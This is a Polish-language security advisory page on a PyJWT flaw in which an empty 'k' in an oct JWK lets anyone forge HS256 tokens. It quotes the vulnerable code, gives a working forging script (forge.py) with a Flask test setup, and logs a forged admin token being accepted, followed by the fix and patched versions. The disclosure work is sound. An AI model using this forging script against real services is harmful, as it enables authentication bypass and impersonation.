PyJWT: Weryfikacja HS256/384/512 akceptuje pusty klucz HMAC przez oct JWK (PyJWK/PyJWKClient), umożliwiając fałszowanie tokenów
Podsumowanie
HMACAlgorithm.from_jwk akceptuje symetryczny (kty=oct) klucz JWK, którego wartość k jest pustym ciągiem znaków, i zwraca klucz o zerowej długości bez zgłaszania wyjątku. Kiedy token jest następnie weryfikowany za pomocą tego obiektu klucza (obiekt PyJWK lub PyJWK rozwiązany przez PyJWKSet / PyJWKClient), moduł weryfikacji HMAC oblicza HMAC(key=b"", signing_input) i akceptuje dowolny token sfałszowany przez atakującego przy użyciu tego samego pustego klucza. Atakujący nie potrzebuje znajomości żadnego sekretu: odtwarza skrót lokalnie z pustym kluczem i ustawia kid tokena na JWK z pustą wartością k.
Odrzucanie pustych kluczy, które HMACAlgorithm.prepare_key stosuje dla sekretów w postaci ciągów znaków lub bajtów (dodane w 2.13.0), nie zostało przeniesione do równoległej ścieżki kodu from_jwk, przez co ścieżka weryfikacji JWK/JWKS pozostaje podatna na atak. Przy domyślnych opcjach dekodowania ścieżka ta emituje jedynie ostrzeżenie InsecureKeyLengthWarning, a nie błąd, więc weryfikacja nadal kończy się sukcesem. Jest to ten sam defekt typu „pusty/zerowy klucz HMAC jest akceptowany podczas weryfikacji”, który ekosystem JWT naprawia obecnie po stronie bibliotek: fast-jwt CVE-2026-44351 (CVSS 9.1) oraz ruby-jwt CVE-2026-45363 dodały biblioteczny warunek wstępny odrzucający pusty klucz HMAC.
Wersje podatne
PyJWT (pakiet PyPI pyjwt) <= 2.13.0, aktualny stan master w commicie 7144e4534c34810f4525dc4578a32addd8212cff. Ścieżka sekretu w postaci ciągu znaków/bajtów jest już zabezpieczona w 2.13.0; ścieżka JWK/JWKS nie jest.
Wymagane uprawnienia
Brak uwierzytelnienia. Każda strona, która ma dostęp do punktu końcowego weryfikującego JWT w aplikacji weryfikującej przez PyJWK / PyJWKSet / PyJWKClient, której klucz oct ma pustą wartość k, może fałszować tokeny z dowolnymi oświadczeniami (claims).
Warunki wstępne: weryfikator rozwiązuje klucz HMAC z JWK/JWKS, którego wpis oct zawiera pustą wartość k. Występuje to, gdy sekret podpisywania pochodzi z nieustawionej zmiennej środowiskowej, nieustawionego wiersza konfiguracji lub mechanizmu rezerwowego wyszukiwania kluczy, który koduje w base64url wartość b"" do opublikowanego JWKS, albo gdy aplikacja ufa JWKS zawierającemu taki wpis. Odpowiednik nieustawionego sekretu w API operującym na sekretach tekstowych (jwt.decode(token, key="")) jest już odrzucany w 2.13.0; ścieżka JWK pozostaje jedyną dostępną przestrzenią narażoną na tę samą błędną konfigurację.
Podatny kod
jwt/algorithms.py, HMACAlgorithm.from_jwk (linia 380):
@staticmethod
def from_jwk(jwk: str | JWKDict) -> bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # <-- empty k -> b"", no rejection
Dla porównania, bliźniacza metoda prepare_key, która OTRZYMAŁA zabezpieczenie (linie 325-329):
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
W jwt/api_jws.py, _verify_signature (linie 389-416) używa materiału klucza PyJWK bezpośrednio, omijając prepare_key, a ostrzeżenie o długości jest domyślnie niefatalne:
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
raise InvalidKeyError(key_length_msg)
else:
warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only
if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds
raise InvalidSignatureError("Signature verification failed")
PyJWK.__init__ ustawia self.key = self.Algorithm.from_jwk(self._jwk_data), więc JWK {"kty":"oct","k":""} daje PyJWK.key == b"". PyJWKSet oraz PyJWKClient.get_signing_key_from_jwt budują obiekty PyJWK w ten sam sposób, przez co ścieżka rozwiązywania JWKS przez HTTP jest dotknięta problemem w identyczny sposób.
Informacje o wydaniu 2.13.0 (CHANGELOG.rst) dokumentują utwardzenie JWK/PEM prepare_key (GHSA-xgmm-8j9v-c9wx) oraz poprawkę powiązania algorytmu PyJWK (GHSA-jq35-7prp-9v3f), a zestaw testów zawiera test_hmac_prepare_key_rejects_empty_key oraz test_hmac_from_jwk_should_raise_exception_if_empty_json (który testuje pusty obiekt JSON {}, a nie klucz oct z pustą wartością k). Przypadek klucza oct z pustym k to nietestowana, bliźniacza ścieżka, którą zamyka niniejsze zgłoszenie.
Jak dane wejściowe atakującego trafiają do celu
Nieuwierzytelniony klient HTTP ma pełną kontrolę nad tokenem bearer: jego nagłówek kid wybiera klucz oct JWK z pustą wartością k, a jego podpis jest obliczany lokalnie przy użyciu pustego klucza. Token przepływa ze ścieżki nagłówka żądania -> PyJWKClient.get_signing_key_from_jwt (rozwiązanie kid względem zaufanego JWKS) -> jwt.decode z rozwiązanym PyJWK -> _verify_signature -> HMACAlgorithm.verify(signing_input, b"", sig).
Nie jest wymagana znajomość sekretu, danych uwierzytelniających ani wcześniejsza sesja; jedynym warunkiem wstępnym po stronie serwera jest wpis oct w JWKS z pustą wartością k, co jest wynikiem konfiguracji z „nieustawionym sekretem podpisywania”. Jest to identyczna granica zaufania, którą ścieżka sekretu tekstowego już chroni.
Proof of Concept
Pełna reprodukcja (end-to-end) względem przypiętej wersji PyPI pyjwt 2.13.0 (dwie wdrożone usługi Flask)
Dwie usługi modelują standardowe wdrożenie OIDC: usługa uwierzytelniania publikująca JWKS oraz chroniony serwer zasobów walidujący tokeny bearer względem tego JWKS za pomocą udokumentowanego wzorca PyJWKClient w PyJWT. Sekret podpisywania usługi uwierzytelniania pochodzi z nieustawionej zmiennej środowiskowej (SIGNING_SECRET nieustawiona -> ""), więc opublikowany klucz oct JWK zawiera k == "".
idp.py (usługa uwierzytelniania):
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
@app.route("/.well-known/jwks.json")
def jwks():
return jsonify({"keys": [{
"kty": "oct", "use": "sig", "alg": "HS256",
"kid": "auth-signing-2026",
"k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == ""
}]})
if __name__ == "__main__":
app.run(port=9101)
api.py (chroniony serwer zasobów):
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")
def authenticate():
auth = request.headers.get("Authorization", "")
if not auth.startswith("Bearer "):
return None, "missing bearer token"
token = auth.split(" ", 1)[1]
try:
signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid
claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
except Exception as e:
return None, "invalid token: %s" % type(e).__name__
return claims, None
@app.route("/api/admin/users")
def admin_users():
claims, err = authenticate()
if err:
return jsonify({"error": err}), 401
if claims.get("role") != "admin":
return jsonify({"error": "forbidden"}), 403
return jsonify({"ok": True, "action": "list_all_users",
"as_user": claims.get("sub"), "role": claims.get("role")})
if __name__ == "__main__":
app.run(port=9102)
forge.py (atakujący; bez znajomości sekretu):
import hmac, hashlib, base64, json, sys
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
header={"alg":"HS256","typ":"JWT","kid":"auth-signing-2026"}
payload={"sub":"attacker@evil.example","role":"admin"}
si=b64u(json.dumps(header,separators=(',',':')).encode())+"."+b64u(json.dumps(payload,separators=(',',':')).encode())
key = sys.argv[1].encode() if len(sys.argv)>1 else b"" # empty key
sig=hmac.new(key, si.encode(), hashlib.sha256).digest()
print(si+"."+b64u(sig))
Uruchomienie:
python -m venv v && ./v/bin/pip install "PyJWT==2.13.0" flask
( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &
FORGED=$(./v/bin/python forge.py "")
curl -s -H "Authorization: Bearer $FORGED" http://127.0.0.1:9102/api/admin/users
Dosłowny przebieg (atak, obie kontrole negatywne, test poprawności oraz ponowne uruchomienie na załatanej kompilacji):
### PyJWT version
2.13.0
### JWKS published by the auth service (note the empty "k"):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
### Baseline: unauthenticated request to admin endpoint
HTTP 401
### ATTACK: attacker forges HS256 admin token signed with the EMPTY key
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ
response:
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail
JWKS now has non-empty k:
{"keys":[{"alg":"HS256","k":"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: InvalidSignatureError"}
<-- HTTP 401
### Sanity: a legitimately-signed token with the real secret is accepted
{"action":"list_all_users","as_user":"attacker@evil.example","ok":true,"role":"admin"}
<-- HTTP 200
### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected
JWKS (empty k, vulnerable config):
{"keys":[{"alg":"HS256","k":"","kid":"auth-signing-2026","kty":"oct","use":"sig"}]}
{"error":"invalid token: PyJWKSetError"}
<-- HTTP 401
Atak zwraca HTTP 200 z role:admin na podstawie nieuwierzytelnionego, sfałszowanego tokena. Obie kontrole negatywne (nieprawidłowy, niepusty klucz; prawdziwy, niepusty sekret w usłudze uwierzytelniania) zwracają 401, co jednoznacznie wskazuje na akceptację pustego klucza jako źródło błędu. Załatana kompilacja (poprawka from_jwk poniżej) odrzuca sfałszowany token.
Wpływ
- Nieuwierzytelnione obejście uwierzytelniania / fałszowanie tokenów: atakujący generuje tokeny z dowolnymi oświadczeniami (
role:admin, dowolnesub), które przechodzą pomyślnie weryfikację, co pozwala na pełne podszycie się pod użytkownika i eskalację uprawnień na dowolnym punkcie końcowym chronionym przez te tokeny. - Podatność dostępna za pośrednictwem udokumentowanego interfejsu API weryfikacji JWKS (
PyJWKClient/PyJWKSet/PyJWK), nie tylko przy bezpośrednim użyciuHMACAlgorithm. - Wywoływane przez częstą błędną konfigurację „nieustawionego sekretu podpisywania”, którą ścieżka sekretu tekstowego odrzuca już w 2.13.0, pozostawiając ścieżkę JWK jako asymetryczną lukę.
Sugerowane rozwiązanie
Odrzucenie klucza o zerowej długości w HMACAlgorithm.from_jwk, na wzór zabezpieczenia stosowanego już w prepare_key:
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
key_bytes = base64url_decode(obj["k"])
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
return key_bytes
Rozwiązanie to wykorzystuje ten sam komunikat o błędzie i sprawdzenie długości, co ścieżka dla ciągów znaków/bajtów, dzięki czemu obie ścieżki ładowania kluczy HMAC egzekwują ten sam niezmiennik. Test regresyjny dla oct JWK z pustą wartością k powinien znaleźć się obok test_hmac_from_jwk_should_raise_exception_if_empty_json.
PR z poprawką
https://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (prywatny tymczasowy fork doradztwa, baza master, gałąź fix/hmac-from-jwk-reject-empty-key, podpisany DCO; dodaje test_hmac_from_jwk_rejects_empty_k; testy test_algorithms.py, test_api_jwk.py, test_api_jws.py zakończone sukcesem).
Podziękowania
Zgłoszone przez: tonghuaroot.
Aktualizacja opiekunów (2026-09-10): Odtworzyliśmy zgłoszone zachowanie: JWK
octz pustą wartościąkzostał zdekodowany do pustego klucza HMAC i zaakceptowany przez ścieżkę weryfikacji JWK/PyJWK, podczas gdy ścieżka surowych ciągów/bajtów poprawnie odrzucała pusty klucz. Poprawka dodaje tę samą walidację pustego klucza na granicy JWK oraz test regresyjny. Została zatwierdzona jakoaf8181ca0bec5e6b372fbba9afbe23702b787cebi przeszła testy w dostępnych środowiskach tox projektu, w tym testy kryptograficzne i niekryptograficzne na Pythonie 3.9, 3.12 i 3.13, a także mypy, metadane pakietu i testy pokrycia kodu. Nowa recenzja Astra/max zaakceptowała poprawkę i potwierdziła, że zachowanie dla niepustych, binarnych i asymetrycznych kluczy pozostaje bez zmian. Poprawka nie została jeszcze wydana w żadnej oficjalnej wersji PyJWT, dlatego niniejsze doradztwo zostało przeniesione do wersji roboczej i pozostaje nieopublikowane do czasu wydania.
Aktualizacja opiekunów — 2026-09-11
Zweryfikowana poprawka dla tego doradztwa została dołączona do PyJWT 2.14.0, wydanego 2026-09-11 i dostępnego w PyPI. PyJWT 2.14.0 to pierwsze wydanie zawierające poprawkę. Niniejsze doradztwo zostało opublikowane z oznaczeniem 2.14.0 jako wersji załatanej.
Co trzeba zrobić
Zaktualizuj do PyJWT 2.14.0 (2.14.0) lub nowszego.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pyjwt | < 2.14.0 | 2.14.0 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Słabość (CWE)
CWE-347- Platforma
- Python (PyPI)
- Paczka
pyjwt- Ujawniono
- 22.10.2026
- Aktualizacja
- 24.10.2026 00:06
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-pxh4-856f-4h89 - CC BY 4.0
Historia podatności: pyjwt
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 25
- Pierwsza → ostatnia
- 08.2017 10.2026
- Bez poprawki
- 2
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 1
- Wysoka 11
- Średnia 11
- Niska 2
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 21
-
PyJWT: Weryfikacja HS256/384/512 akceptuje pusty klucz HMAC przez oct JWK (PyJWK/PyJWKClient), umożliwiając fałszowanie tokenów ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.